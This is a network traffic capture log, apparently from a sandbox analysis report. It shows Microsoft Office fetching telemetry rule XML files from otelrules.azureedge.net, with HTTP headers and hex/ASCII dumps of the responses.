2024-11-26 09:09:55 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:55 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:56 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:55 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: f58191a5-b01e-003e-1291-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090955Z-174f7845968cdxdrhC1EWRg0en0000000v6g000000003yb3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:56 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:56 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:56 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:56 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 8c2ab7fe-e01e-0003-5b91-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090956Z-174f7845968frfdmhC1EWRxxbw0000000v4g00000000agbm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:56 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:56 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:56 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:56 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: fdde7aaa-d01e-0028-2a8c-3f7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090956Z-174f7845968g6hv8hC1EWR1v2n00000003200000000095p1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:56 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:57 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:58 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: f418fe9b-801e-0047-5281-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090958Z-174f7845968zgtf6hC1EWRqd8s0000000n1g00000000apqc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:58 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:58 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:58 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: c668448b-101e-007a-2d91-3f047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090958Z-174f7845968swgbqhC1EWRmnb40000000vd00000000039wg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:58 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:58 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:58 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:58 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 8c2ab893-e01e-0003-5391-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090958Z-174f7845968jrjrxhC1EWRmmrs0000000vcg0000000033q1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:58 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:58 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:59 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:58 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 6eac8613-a01e-006f-3091-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090958Z-174f7845968kvnqxhC1EWRmf3g0000000dx000000000a9yv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:59 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:58 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:59 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:59 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 49e8a97e-c01e-008e-5491-3f7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090959Z-174f7845968frfdmhC1EWRxxbw0000000v50000000009ude x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:59 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:10:00 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:10:00 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:10:00 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a75c6aaa-401e-002a-4291-3fc62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T091000Z-174f7845968ljs8phC1EWRe6en0000000v30000000003zcu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:10:00 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49937	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:10:00 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:10:00 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:10:00 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 003cf3b7-b01e-0053-2e8c-3fcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T091000Z-174f78459688l8rvhC1EWRtzr000000007v0000000003df8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:10:00 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49938	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:10:00 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:10:00 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:10:00 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: e56afb1e-801e-0083-3991-3ff0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T091000Z-174f7845968v75bwhC1EWRuqen0000000g40000000006cfz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:10:00 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49939	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:10:01 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:10:01 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:10:01 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 3d9c3aa7-901e-00ac-5891-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T091001Z-174f7845968kvnqxhC1EWRmf3g0000000e4g0000000001q0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
